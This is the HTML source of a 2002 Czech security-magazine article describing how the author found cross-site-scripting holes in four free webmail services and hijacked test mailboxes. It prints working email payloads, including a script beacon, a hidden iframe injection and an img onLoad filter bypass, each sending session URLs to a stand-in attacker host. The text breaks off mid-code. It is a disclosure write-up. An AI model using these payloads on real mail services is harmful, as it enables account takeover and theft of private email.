home *** CD-ROM | disk | FTP | other *** search
/ Chip 2003 April / Chip_2003-04_cd1.bin / tema / krypta / articles.php@ID=115 < prev    next >
Text File  |  2003-02-02  |  30KB  |  383 lines

  1. <!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <html>
  3. <head>
  4.  <title>Krypta.cz - ╚eskΘ freemaily : jedna dφra za druhou !</title>
  5.  <link rel="StyleSheet" href="server/main.css" type="text/css">
  6.  <link rel="SHORTCUT ICON" href="server/favicon.ico">
  7.  <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  8.  <meta http-equiv="Cache-control" content="no-cache">
  9.  <meta http-equiv="Pragma" content="no-cache">
  10.  <meta http-equiv="Expires" content="0">
  11.  <meta name="robots" content="ALL,FOLLOW">
  12.  <meta http-equiv="Content-language" content="cs">
  13.  <meta name="description" content="Internetov² bezpeΦnostnφ portßl, zab²vajφcφ se kryptografiφ (Üifrovßnφm), ochranou dat, internetovou bezepeΦnostφ a poΦφtaΦov²mi viry">
  14.  <meta name="keywords" content="Üifrovßnφ cryptography pgp des aes rsa dss digital signatures pki linux free bezpeΦnost ochrana hacking cracking virus worm">
  15.  <meta name="copyright" content="Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>.">
  16.  <!-- No caching for this document.Trying to write to art115.html. ?> -->
  17.  
  18.  <!-- output.php -->
  19.  
  20.   <script language="JavaScript">
  21.   <!-- 
  22. //    if(top != self) { window.top.location.href=document.location; }  -->
  23.   </script>
  24.  
  25.  
  26. <!-- NAVRCHOLU.cz -->
  27. <script language="JavaScript" type="text/javascript">
  28. <!--
  29. pxDepth = screen.pixelDepth;
  30. if (!(pxDepth > 0))
  31.     pxDepth = screen.colorDepth;
  32. if (!(pxDepth > 0))
  33.     pxDepth = 0; 
  34. document.write("<img style=\"position:absolute; top:0px; left: 0px;\" src=\"../hit.navrcholu.cz/hit@id=00039669;n=1;screenx=" + screen.width + ";screeny=" + screen.height + ";cdepth=" + pxDepth + ";ref=" + escape(top.document.referrer) + "\" width=\"1\" height=\"1\" alt=\"\">");
  35. // -->
  36. </script>
  37. <noscript>
  38. <img style="position:absolute; top:0px; left: 0px;" src="../hit.navrcholu.cz/hit@id=00039669;n=1" width="1" height="1" alt="" border="0">
  39. </noscript>
  40. <!-- NAVRCHOLU.cz - konec -->
  41.  
  42. <STYLE Type=text/css>
  43.     BODY                { font-size:110%; background-color: #ffffff; color: #000000; margin: 0px;   background-image: url(images/backgr.gif); }
  44.  
  45.  
  46.  
  47.     .Copyright        { color: #000000; }
  48.     .Copyright A    { color: #000000; }
  49. </STYLE>
  50. </head>
  51. <SCRIPT>
  52. </SCRIPT><SCRIPT Src=charts.php@version=1621></SCRIPT><SCRIPT>
  53.  // Nalezeno  1 polozek. 
  54. var SectionTitles=new Array( "╚eskΘ freemaily : jedna dφra za druhou !" , "    Seznam.cz" , "    Email.cz" , "    Centrum" , "    M∙jMail" , "      Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ " , "      POST.CZ" );
  55. var SectionURLs=new Array( "115" , "115#Title1" , "115#Title2" , "115#Title3" , "115#Title4" , "115#Title5" , "115#Title6" );
  56.  
  57. var BrothersNames = new Array("DOS ·toky proti Napsterov²m potomk∙m","ProΦerviv∞lΘ IISky utahat k smrti ?!","BezpeΦnostnφ workshop : MikulßÜskß kryptobesφdka","Oracle9iAS Web Cache buffer overflow","AES mß zelenou","Novß chyba ve WMP","╚eskΘ freemaily : jedna dφra za druhou !","Omluva za nedostupnost Krypty","PHP  4.x problΘm na unixech, v∞tÜφ problΘm na Windows","sudo nedostateΦn∞ Φistφ prost°edφ","Tiny Personal Firewall zφskal jako prvnφ certifikßt ICSA","Root pφÜe o IDS","zlib/libz lze zneu₧φt","Nejpou₧φvan∞jÜφ heslo je password","BezpeΦnostnφ aktuality","OpenWeekend","Internet banking jen pro IE ?!","Studie: d∞rav² BIND stßle pu₧φvßn","DivX na XBoxech?","VPNka o 100% za 4 roky","Fake IIS na Apachi ;-)","Nezßvisl² fix na Gopher bug v IE","Ach jo...","Vß₧n² remote buffer overrflow ve Win NT4&2k/IIS","Jak dßl se superbezpeΦn²m Linuxem?","CRYPTO-GRAM 6/02","Vydr₧el RoBoX?","Apache  encoding flaw?","{Exploit k Apache 'chunking' vulnerabil...}","Krypta o prßzdninßch","Omluva","Autentizujte se prosφm","");
  58. var BrothersIDs = new Array("66","67","72","73","97","99","115","119","120","121","129","133","164","174","180","188","189","194","196","197","199","200","201","203","204","206","208","209","212","213","214","227","");
  59. //=====INFO======
  60. ItemName='Article115';
  61.  
  62. InIFrame='No';
  63. TableNum=2; 
  64. ItemID=115; 
  65. ArticleType='1'; 
  66. Action='articles'
  67. ItemTitle='╚eskΘ freemaily : jedna dφra za druhou !';
  68. ItemComment='╚eskΘ freemaily : jedna dφra za druhou !';
  69. TabName='Articles'
  70. Parent1Title='Domßcφ strßnka' ;
  71. Parent2Title='Tillda' ;
  72. Parent1ID='1' ;
  73. Parent2ID='3' ;
  74. ParentTitle='Domßcφ strßnka' ;
  75. AuthorName='Marek BlahuÜ' ;
  76. AuthorDesc='' ;
  77. AuthorEMail='blahus_40seznam.cz' ;
  78. AuthorID='11' ;
  79. ItemDate='11.1.2002';
  80. Views='369' ;
  81. Average='1.00' ;
  82. Grade='1' ;
  83. NumVotes='8' ;
  84. SourceName='' ;
  85. SourceURL='' ;
  86. SourceLink='' ;
  87. Ref1URL='' ;
  88. Ref2URL='' ;
  89. Ref3URL='' ;
  90. Ref4URL='' ;
  91. Ref5URL='' ;
  92. Ref1Link='' ;
  93. Ref2Link='' ;
  94. Ref3Link='' ;
  95. Ref4Link='' ;
  96. Ref5Link='' ;
  97. Ref1Desc='' ;
  98. Ref2Desc='' ;
  99. Ref3Desc='' ;
  100. Ref4Desc='' ;
  101. Ref5Desc='' ;
  102. Possible=1 ;
  103. Answer1='' ;
  104. Answer2='' ;
  105. Answer3='' ;
  106. Answer4='' ;
  107. Answer5='' ;
  108. Num1='';
  109. Num2='';
  110. Num3='';
  111. Num4='';
  112. Num5='';
  113. Type= ''; //def
  114. WebName='Krypta.cz';
  115. //====ENDINFO======
  116.  
  117. </SCRIPT>
  118.  
  119. <BODY>
  120. </SCRIPT>
  121. <SCRIPT Language=JavaScript Src="server/startfeatures.php@Rand=ddd "> </SCRIPT><SCRIPT Language=JavaScript Src="server/features.php"> </SCRIPT><!-- Rozdeleni na sloupce -->
  122.  
  123. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%">
  124. <tr>
  125.  
  126. <!-- Levy sloupec -->
  127.  
  128.  
  129.  
  130. <td  width="161" align="center" valign="top">
  131.  
  132. <img src=space.gif height=1 width=161>
  133. <SCRIPT SRC=server/left_js.php@version=1621></SCRIPT></td>
  134.  
  135. <!-- /Levy sloupec -->
  136.  
  137. <!-- Mezera 1-->
  138. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  139. <!-- /Mezera 1-->
  140.  
  141. <!-- Mezera 2 -->
  142. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  143. <!-- /Mezera 2-->
  144.  
  145. <!-- Mezera 3 -->
  146. <td width=10><img src="images/spacer.gif" width="10" height="1" border="0" alt=""></td>
  147. <!-- /Mezera 3-->
  148.  
  149.  
  150. <!-- Prostredni sloupec -->
  151. <td align="center" valign="top">
  152.  
  153. <!-- Hlavicka -->
  154. <!-- Horni lista s reklamou -->
  155.  
  156. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" class="hrlista">
  157. <tr>
  158.  
  159. <!-- Logo-->
  160. <td VAlign=Top>
  161. <a href="default.htm"><img src="images/logo.gif"  style="z-index:100;" vspace=0 cwidth="222" cheight="48" border="0" alt="Krypta.cz - Magazφn o informaΦnφ bezpeΦnosti"></a>
  162. </td>
  163. <!-- /Logo -->
  164.  
  165. <td align=center>
  166. </td></tr></table>
  167. <!-- /Horni lista s reklamou-->
  168. <!-- /Hlavicka -->
  169.  
  170. <TABLE Width=100% Border=0><TD><SCRIPT>
  171. </SCRIPT><SCRIPT>
  172. ArticleHead('╚eskΘ freemaily : jedna dφra za druhou !', 'Marek BlahuÜ', 'blahus_40seznam.cz', '11.1.2002', '20:06:31', '╚lßnek');
  173. Intro('VÜechno zaΦalo v prosinci 2001 kdy₧ jsem v t²denφku ComputerWorld objevil zmφnku o tom, ₧e se Φlov∞ku jmΘnem Marc Slemko poda°ilo nabourat se do systΘmu Microsoft Passport, kter² Microsoft plßnuje zavΘst jako standard pro p°ihlaÜovßnφ k webov²m slu₧bßm (vφce o tom zde) a poukßzat tak na vß₧nΘ bezpeΦnostnφ dφry v tomto systΘmu. Naplßnovat cel² pr∙nik mu pr² trvalo pouhou p∙lhodinu. ');
  174. ArticleBanner_smallres('margin-bottom:10px;margin-top:-3px;');
  175. </SCRIPT>
  176. <DIV Class=Article><SCRIPT>
  177. AuthorData();
  178. if (Type != 'Pure') if ((ArticleType!=19) && (ArticleType!=20)) ShowSections();
  179. ArticleBanner_bigres('margin-top:12px;margin-bottom:-3px;');
  180. </SCRIPT><FONT Size=2><DIV Align=Justify Class=Paragraph>
  181.     P°ipojil jsem se k internetu a stßhnul si Φlßnek, ve kterΘm vÜe podrobn∞ popisuje. Po p°eΦtenφ Φlßnku jsem o tom vÜem zaΦal p°em²Ület a dosp∞l jsem k nßzoru, ₧e pokud je Üpatn∞ zabezpeΦen² emailov² systΘm samotnΘho Microsoftu (prßv∞ zaslßnφm specißlnφ emailovΘ zprßvy se Marc dostal k osobnφm ·daj∙m slou₧φcφm pro p°ihlaÜovßnφ), je mo₧nΘ, ₧e podobnΘ bezpeΦnostnφ dφry obsahujφ i ΦeskΘ servery nabφzejφcφ emailovou schrßnku zdarma (tzv. "freemaily"). Abych si to ov∞°il, zaΦal jsem experimentovat. 
  182. </DIV></FONT></b></i>
  183. <A Name="Title1"><FONT Size=3><DIV Class=Headline>Seznam.cz</DIV></font>
  184. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  185.     ZaΦal jsem slu₧bou Email Seznam (http://email.seznam.cz), proto₧e prßv∞ u tΘ mßm z°φzenou svoji emailovou schrßnku, kterou pou₧φvßm (na vlastnφ server nemßm penφze). Na pokusy jsem si zalo₧il novou schrßnku uncle.hacker@seznam.cz. PotΘ jsem si vytvo°il strßnku, ze kterΘ lze pomocφ formulß°e zasφlat emaily ve formßtu HTML (formßt, kter² se pou₧φvß pro internetovΘ strßnky a je podporovßn i v emailov²ch prohlφ₧eΦφch). Prßv∞ HTML je toti₧ mocn² nßstroj, jeho₧ pou₧itφm ve zprßv∞, kterou si u₧ivatel otev°e, dokß₧i k prostΘmu textu b∞₧nΘ zprßvy p°idat skript v jazyce JavaScript, kter² m∙₧e za°φdit zaslßnφ pat°iΦn²ch informacφ zp∞t na m∙j poΦφtaΦ. V nedostateΦnΘ kontrole zobrazovanΘho cizφho HTML k≤du spoΦφval princip pr∙niku Marca Slemka do systΘmu Microsoftu a na tom samΘm jsem se rozhodnul stav∞t i jß. Cφlem bylo zaslat u₧ivateli zprßvu ve formßtu HTML se skriptem, kter² kontrolnφ mechanismy slu₧by "propustφ" a₧ na u₧ivatel∙v monitor a skript mi zp∞t odeÜle adresu strßnku, na kterΘ se nachßzφ (tj. adresu strßnky s otev°enou emailovou zprßvou). Pokud pak tuto adresu zadßm do svΘho prohlφ₧eΦe, zφskßm p°φstup k u₧ivatelov∞ emailovΘ schrßnce - veÜker²m zprßvßm v nφ a jejφmu nastavenφ. Tato adresa samoz°ejm∞ nenφ jednoduÜe uhodnutelnß, obsahuje k≤d slo₧en² z n∞kolika desφtek pφsmen a Φφslic, kter² se vygeneruje p°i p°ihlaÜovßnφ do slu₧by a slou₧φ jako prost°edek pro ov∞°enφ, ₧e u₧ivatel, kter² se pokouÜφ se schrßnkou pracovat, je skuteΦn∞ ten, za koho se vydßvß. 
  186. </DIV></FONT></b></i>
  187. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  188.     U₧ po prvnφm HTML emailu zaslanΘm na server Email Seznam mi bylo jasnΘ, ₧e vÜechno p∙jde p°ekvapiv∞ mnohem jednoduÜeji ne₧ jsem oΦekßval. P°ijatou HTML zprßvu server po otev°enφ zobrazφ jako p°φlohu s ikonou HTML strßnky, text t∞la zprßvy se jevφ jako prßzdn². PotΘ, co zv∞dav² u₧ivatel klikne na p°φlohu, otev°e se mu tato do novΘho okna prohlφ₧eΦe. Zarß₧ejφcφ je to, ₧e na takto otev°enou strßnku nejsou aplikovßny ₧ßdnΘ omezenφ. Proto nebyl ₧ßdn² problΘm poslat si do svΘ testovacφ schrßnky druhou zprßvu, tentokrßt ji₧ s vlo₧en²m jedno°ßdkov²m JavaScriptem, kter² ned∞lß nic jinΘho, ne₧ ₧e jednoduÜe p°esm∞ruje prohlφ₧eΦ na adresu skriptu v jazyce PHP, kter² jsem umφstil na jeden z Φesk²ch freeweb∙ (servery poskytujφcφ prostor pro umφst∞nφ WWW strßnek zdarma). SouΦßstφ tΘto adresy je i adresa strßnky, na kterΘ se JavaScript nachßzφ. A proto₧e tato strßnka, stejn∞ jako vÜechny ostatnφ, je chrßn∞na zmφn∞n²m bezpeΦnostnφm k≤dem, kter² prohlφ₧eΦ p°i vy₧ßdßnφ kterΘkoliv strßnky zasφlß serveru za adresou po₧adovanΘ strßnky, zφskal m∙j skript spolu s bezcennou adresou i tento velmi cenn² bezpeΦnostnφ k≤d. Skript k≤d ulo₧φ do souboru a m∞ u₧ pak pouze staΦφ otev°φt strßnky Email Seznam s tφmto k≤dem v adrese, a zφskßm ·pln² p°φstup k u₧ivatelov∞ emailovΘ schrßnce bez jeho v∞domφ. Proto₧e platnost bezpeΦnostnφho k≤du po urΦitΘ dob∞ neaktivity sama vyprÜφ, musφm se do schrßnky p°ihlßsit jakmile bezpeΦnostnφ k≤d obdr₧φm. To znamenß, ₧e v systΘmu pracuji ve stejnou dobu, kdy v n∞m pracuje i legßlnφ u₧ivatel (technicky to neΦinφ ₧ßdn² problΘm). JedinΘ nebezpeΦφ spoΦφvß v tom, ₧e pokud u₧ivatel po dokonΦenφ svΘ prßce klepne na odkaz "Konec prßce", platnost bezpeΦnostnφho k≤du je ihned ukonΦena a spolu s u₧ivatelem ztratφm mo₧nost nadßle s pou₧itφm tohoto k≤du se schrßnkou pracovat i jß. V∞tÜina u₧ivatel∙ vÜak prßci se svou schrßnkou ukonΦuje prost²m zav°enφm okna prohlφ₧eΦe bez odhlaÜovßnφm (bu∩ o tΘto mo₧nosti a ni nevφ, anebo s tφm prost∞ necht∞jφ ztrßcet Φas). Pokud u₧ivatel ukonΦφ svou prßci bez °ßdnΘho odhlßÜenφ, mohu s jeho schrßnkou pracovat neomezen∞ dlouhou dobu i po tom, co se on "odhlßsil". 
  189. </DIV></FONT></b></i>
  190. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  191.     
  192. Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ zaslßnφm bylo mo₧no zφskat p°φstup k emailovΘ schrßnce na serveru Email Seznam: 
  193. </DIV></FONT></b></i>
  194. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  195.     Content-Type: text/html;charset=windows-1250
  196. </DIV></FONT></b></i>
  197. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  198.     <SPAN Class=CODE><html><head><meta http-equiv="Content-Type" content="text/html;charset=windows-1250"></head><br> <body><br>
  199. <script language="JavaScript"><br>
  200. x = new Image();<br>
  201. x.src = "http://utocnikuv.server.cz/skript.php?" + escape(location.href);<br>
  202. </script><br>
  203. </body></html><br>  </SPAN>
  204. </DIV></FONT></b></i>
  205. <A Name="Title2"><FONT Size=3><DIV Class=Headline>Email.cz</DIV></font>
  206. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  207.     P°ekvapen², jak snadno lze zφskat p°φstup k cizφ emailovΘ schrßnce na Seznamu (pouh²m p°eΦtenφm emailovΘ zprßvy, kterß se navφc m∙₧e tvß°it t°eba jako upozorn∞nφ na zajφmavΘ a skuteΦn∞ existujφcφ WWW strßnky, tak₧e u₧ivatel nepojme ₧ßdnΘ podez°enφ), °ekl jsem si, ₧e to zkusφm i s jin²mi poskytovateli emailu zdarma. DalÜφ testovacφ schrßnku s u₧ivatelsk²m jmΘnem uncle.hacker (kterΘ jsem si zvolil pro prßci na tomto projektu), jsem si zalo₧il na serveru Email.cz (http://www.email.cz). Po zaslßnφ testovacφ HTML zprßvy sklßdajφcφ se z °ady HTML znaΦek r∙znΘ potencißlnφ nebezpeΦnosti (od nevinnΘho <font> pro zm∞nu barvy pφsma, p°es <iframe> zneu₧iteln² k vlo₧enφ neviditelnΘho vno°enΘho okna s jinou strßnkou a₧ ke znaΦce <script>, kterß umo₧≥uje provΘst na strßnce skript v jazyce JavaScript - prßv∞ takov², kter²m jsem si zp∞t zasφlal adresu strßnky na Emailu Seznam). Nßhledem do zdrojovΘho k≤du tΘto zprßvy po jejφm p°ijetφ a otev°enφ jsem zjistil, ₧e ·rove≥ zabezpeΦenφ serveru Email.cz vzhledem k interpretaci zprßv ve formßtu HTML je vyÜÜφ ne₧ stejnΘ zabezpeΦenφ u Emailu Seznam. HTML emaily se sice zobrazujφ p°φmo jako t∞lo zprßvy (co₧ je logiΦt∞jÜφ a pro mΘ pot°eby i ₧ßdan∞jÜφ, ale je zde vynechßn krok otevφrßnφ HTML p°φlohy), ale existuje zde filtrovßnφ zobrazovanΘho HTML k≤du. Proto₧e znaΦku <script> server nenechß projφt, ale nahradφ ji tak, aby se zobrazila jako obyΦejn² text, prohlφ₧eΦ ji neinterpretuje jako JavaScript vlo₧en² do strßnky a jß tak nemohu spustit k≤d svΘho "bonzßckΘho" skriptu. Se spouÜt∞nφ JavaScriptovΘho k≤du jsem na Email.cz neusp∞l ani u atributu onload znaΦky <img> (vklßdß do strßnky obrßzek), kterß v HTML slou₧φ k vyvolßnφ JavaScriptovΘho k≤du potΘ, co se zobrazφ obrßzek, ke kterΘmu se vß₧e. Drobn²m prozkoumßnφm celΘho systΘmu Email.cz se mi poda°ilo objevit, ₧e odkazy umφst∞nΘ na hlavnφ strßnce serveru a slou₧φcφ pro zm∞nu k≤dovßnφ ΦeÜtiny, odkazujφ na adresu skriptu na email.cz, jeho₧ parametrem je nßzev ₧ßdanΘho k≤dovßnφ. Adresu jednoho z odkaz∙ jsem si zkopφroval a namφsto nßzvu k≤dovßnφ jsem do n∞j vlo₧il sv∙j HTML k≤d vyvolßvajφcφ "bonzßck²" skript, kter² jsem umφstil do externφho souboru na sv∙j ·Φet na freewebu. Skriptu pro zm∞nu k≤dovßnφ ΦeÜtiny na email.cz neoÜet°uje p°φpad, kdy dostane jako parametr nßzev neexistujφcφho k≤dovßnφ (obecn∞ jak²koliv text jin² ne₧ nßzev k≤dovßnφ, tedy i HTML k≤d). V takovΘm p°φpad∞ je zobrazeno chybovΘ hlßÜenφ o neexistenci souboru. Proto₧e jsou informace o ka₧dΘm k≤dovßnφ na serveru Email.cz uklßdßna do zvlßÜtnφho souboru, kter² ve svΘm nßzvu obsahuje nßzev toho kterΘho k≤dovßnφ, zobrazφ se p°i zadßnφ neexistujφcφho nßzvu k≤dovßnφ chybovß hlßÜka "Nelze nalΘzt soubor nazevsouboru", kde nazevsouboru je nßzev hledanΘho souboru obsahuje text p°edan² skriptu jako faleÜn² nßzev k≤dovßnφ. Proto₧e chybovß hlßÜka nefiltruje znamΘnka < a >, kterß jsou zßkladem pro jazyk HTML, kdy₧ se jako nßzev k≤dovßnφ skriptu poÜle kus HTML k≤du, vlo₧φ jej do strßnky s chybov²m hlßÜenφm bez jak²chkoliv ·prav. To by ovÜem nebyla zase tak velikß chyba, proto₧e strßnka pro zm∞nu k≤dovßnφ ΦeÜtiny je dostupnß i bez p°ihlßÜenφ na server a nenφ jφ tedy zasφlßn bezpeΦnostnφ k≤d pro p°φstup ke schrßnce (podobn², jako se pou₧φvß i na Email Seznam). Tuto strßnku vÜak lze Üikovn∞ vyu₧φt jako prost°ednφka pro zφskßnφ tohoto k≤du ze strßnky, kterß jφm chrßn∞nß je. Filtrovacφ mechanismy Emailu.cz nefiltrujφ ji₧ zmi≥ovanou znaΦku <iframe>. Pomocφ nφ lze vlo₧it do emailovΘ zprßvy mr≥avΘ ok²nko, kterΘ navφc m∙₧e b²t jeÜt∞ nastaveno jako neviditelnΘ, tak₧e jej u₧ivatel nem∙₧e zaregistrovat, a do tohoto ok²nka otev°φt skript pro zm∞nu k≤dovßnφ ΦeÜtiny s HTML k≤dem podstrΦen²m jako faleÜn² nßzev k≤dovßnφ. Do tohoto k≤du m∙₧u vlo₧it skript, kter² mΘmu "sb∞raΦskΘmu" PHP skriptu odeÜle adresu svΘho rodiΦovskΘho okna (okna s emailovou zprßvou) a zφskßnφ bezpeΦnostnφho k≤du a tφm i p°φstup k emailovΘ schrßnce mßm zajiÜt∞n². Prohlφ₧eΦ sice nepovolφ p°φstup k informacφm o rodiΦovskΘm oknu strßnce umφst∞nΘ na jinΘm serveru (proto nemohu k zφskßnφ bezpeΦnostnφho k≤du do <iframu> jednoduÜe otev°φt svou strßnku umφst∞nou na freewebu, ale p°φstup k t∞mto informacφm (a tedy i adrese rodiΦovskΘho okna) povolφ strßnce umφst∞nΘ na stejnΘm serveru, kv∙li mo₧nΘmu vyu₧itφ skriptovßnφ v rßmci u₧ivatelskΘho rozhranφ slu₧by). To je d∙vod, proΦ jsem musel najφt n∞jak² skript umφst∞n² pod domΘnou email.cz, kter² mi povolφ vlo₧it do jφm generovanΘho obsahu sv∙j vlastnφ HTML k≤d. 
  208. </DIV></FONT></b></i>
  209. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  210.     
  211. Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ zaslßnφm bylo mo₧no zφskat p°φstup k emailovΘ schrßnce na serveru Email.cz: 
  212. </DIV></FONT></b></i>
  213. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  214.     <SPAN Class=CODE><html><body><br>
  215. <iframe width="1" height="1" style="display: none" src = "http://www.email.cz/index.phtml? kod=%3cscript%20src%3d%22http://utocnikuv.server.cz/ skript.js%22%3e%3c/script%3e"></iframe><br>
  216. </body></html></SPAN>
  217. </DIV></FONT></b></i>
  218. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  219.     Zdrojov² k≤d skript.js: 
  220. </DIV></FONT></b></i>
  221. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  222.     <SPAN Class=CODE>location.href = "http://utocnikuv.server.cz/skript.php?" + escape(parent.location.href);  </SPAN>
  223. </DIV></FONT></b></i>
  224. <A Name="Title3"><FONT Size=3><DIV Class=Headline>Centrum</DIV></font>
  225. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  226.     Jako dalÜφ jsem si na muÜku vzal email portßlu Centrum (http://mail.centrum.cz). Testovacφ zprßva zaslanß na vytvo°enou testovacφ emailovou schrßnku byla sice systΘmem p°ijata, ale po jejφm otev°enφ jsem na displeji vid∞l zdrojov² HTML k≤d, nikoliv text uveden² v zasφlanΘ HTML zprßv∞ spolu s formßtovßnφm pφsma, vlo₧en²m obrßzkem Φi dalÜφmi HTML prvky. Zprvu jsem byl p°ekvapen² a myslel si, ₧e na Centru je p°ijφmßnφ zprßv ve formßtu HTML zakßzßno, co₧ ale vyvrßtila dalÜφ zaslßna testovacφ zprßva, kterß obsahovala pouze barevn² text, pro ov∞°enφ zßkladnφ funkΦnosti HTML zprßv. Tato zprßva se na monitoru zobrazila bez problΘm∙, v ΦervenΘ barv∞ jak bylo zam²Üleno. Po chvφli zkouÜenφ jsem p°iÜel na to, ₧e p°φΦinou "nefunkΦnosti" prvnφ zprßvy je p°φtomnost znaΦky <script>. Zjistil jsem, ₧e jakmile toti₧ filtrovacφ mechanismy Centra naleznou v k≤du zprßvy slovo <script> (a¥ u₧ v jakΘmkoliv kontextu), vlo₧φ mezi jednotlivß pφsmena tohoto slova mezery, Φφm₧ si pojistφ, ₧e pokud je toto slovo obsa₧eno ve stejnojmennΘ HTML znaΦce, nebude tato fungovat. Hlavn∞ ale po nalezenφ takovΘhoto textu p°ejde systΘm do "re₧imu ochrany", kdy blokuje jakΘkoliv HTML znaΦky ve zprßv∞, i ty "nevinnΘ" pro zm∞nu barvu pφsma apod., kterΘ jinak fungujφ. Pou₧itφ scriptu jsem vÜak hrav∞ obeÜel uvedenφm pat°iΦnΘho JavaScriptovΘho k≤du do atributy onload znaΦky <img> (popsßno v²Üe). K≤d se pak zavolß po naΦtenφ obrßzku, ke kterΘmu se atribut onload vß₧e. Pokud jako do strßnky vlo₧φm pr∙hledn² obrßzek o velikosti 1x1 bod∙, nemß u₧ivatel Üanci prost²m pohledem nic zjistit, ale po naΦtenφ tohoto obrßzku (kterΘ vzhledem k malΘ velikosti netrvß nijak dlouho), se provede m∙j k≤d a zaÜle adresu strßnky "sb∞raΦskΘmu" skriptu. Bohu₧el vÜak na Centru mysleli na bezpeΦnost a podmφnili p°φstup k emailovΘ schrßnce nejen bezpeΦnostnφm k≤dem, ale i kontrolou IP adresy. Tuto adresu mß ka₧d² poΦφtaΦ p°ipojen² k internetu a pro ka₧d² p°ipojen² poΦφtaΦ je jedineΦnß, tak₧e k emailovΘ systΘmu nelze p°istoupit z jinΘho poΦφtaΦe ne₧ z toho, ze kterΘho bylo provedeno p°ihlßÜenφ do systΘmu. Toto omezenφ by Ülo sice obejφt, pokud by se "·toΦnφk" nachßzel ve stejnΘ mφstnφ sφti jako u₧ivatel (nap°. Ükoly majφ vÜechny svΘ poΦφtaΦe propojenΘ do sφt∞ a na internetu vystupujφ pod spoleΦnou IP adresu), to je ale mnohdy obtφ₧n∞ realizovatelnΘ. Nic ale nebrßnφ "·toΦnφkovi" k tomu, aby vklßdan² JavaScript upravil tak, aby namφsto adresy strßnky stßhnul zdrojovΘ texty jin²ch strßnek, ke kter²m mß u₧ivatel p°φstup (nap°. seznam vÜech emailov²ch zprßv ve schrßnce nebo texty konkrΘtnφch email∙), ty pak zaslal "sb∞raΦskΘmu" skriptu a vykonal tak vlastn∞ vÜechnu prßci za "·toΦnφka". 
  227. </DIV></FONT></b></i>
  228. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  229.     
  230. Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ zaslßnφm bylo mo₧no zφskat p°φstup k emailovΘ schrßnce na serveru Centrum: 
  231. </DIV></FONT></b></i>
  232. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  233.     <SPAN Class=CODE>Content-Type: text/html;charset=windows-1250<br>
  234. <img src="http://utocnikuv.server.cz/dot.gif" width="1" height="1" onLoad="x = new Image(); x.src = '../utocnikuv.server.cz/skript.php@' + escape(location.href);">  </SPAN>
  235. </DIV></FONT></b></i>
  236. <A Name="Title4"><FONT Size=3><DIV Class=Headline>M∙jMail</DIV></font>
  237. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  238.     DalÜφ znßm² emailov² server, kter² jsem se ·sp∞Ün∞ pokusil nabourat, je server M∙jMail (http://mujmail.atlas.cz) provozovan² portßlem Atlas. Do schrßnky na tomto serveru se mi poda°ilo dostat velmi podobn∞, jako jsem to ud∞lal na serveru Email Seznam, proto₧e zp∙sob zobrazovßnφ HTML zprßv je zde stejn² (v novΘm okn∞ bez jakΘkoliv filtrace). P°esto zde ale jsou dv∞ odliÜnosti. ZaprvΘ, server zobrazuje na obrazovce po otev°enφ zprßvy jejφ zdrojov² k≤d, a pak teprve odkaz na p°φlohu, kterß se bez filtrovßnφ otevφrß do novΘho okna. Aby si u₧ivatel nep°eΦetl zprßvu u₧ ze zdrojovΘho k≤du a p°φlohu ponechal neotev°enou, vymyslel jsem jednoduch² postup, kter²m samotn² text zprßvy primitivn∞ zaÜifruji a HTML k≤d zprßvy se pak sklßdß pouze z p°φkazu k deÜifrovßnφ a zaÜifrovanΘho textu. Na zaΦßtek k≤du jsem navφc p°idal komentß° (kter² se v HTML strßnce neprojevφ, ale ve zdrojovΘm k≤du je na prvnφ pohled viditeln²) °φkajφcφ u₧ivateli, ₧e "ke sprßvnΘmu zobrazenφ tΘto zprßvy mß kliknout na odkaz p°φlohy na konci strßnky". Tak ovÜem mimo d∞k aktivuje "bonzßck²" skript, kter² zaÜle bezpeΦnostnφ k≤d skriptu "sb∞raΦskΘmu". BezpeΦnostnφ k≤d vÜak u Atlasu nenφ umφst∞n v adrese strßnky, n²br₧ v cookies (krßtk² textov² soubor pou₧φvan² webov²mi servery pro uchovßvßnφ informacφ specifick²ch pro u₧ivatele prohlφ₧eΦe - v koneΦnΘm d∙sledku tak slou₧φ nap°. k automatickΘmu vypl≥ovßnφ jmΘna a hesla do formulß°e p°i p°φÜtφm p°ihlßÜenφ ke slu₧b∞). Po p°ekonßnφ t∞chto dvou p°ekß₧ek u₧ nenφ nic jednoduÜÜφho ne₧ si poΦkat, a₧ p°ijde bezpeΦnostnφ k≤d, pomocφ specißlnφch, ale b∞₧n∞ dostupn²ch program∙ (nebo svΘpomocφ) vytvo°it na svΘm poΦφtaΦi faleÜnΘ cookie a vydßvat se p°ed serverem Atlasu za prßvoplatnΘho u₧ivatele. 
  239. </DIV></FONT></b></i>
  240. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  241.     
  242. Zdrojov² k≤d emailovΘ zprßvy, jejφm₧ zaslßnφm bylo mo₧no zφskat p°φstup k emailovΘ schrßnce na serveru M∙jMail:
  243. </DIV></FONT></b></i>
  244. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  245.     <SPAN Class=CODE>
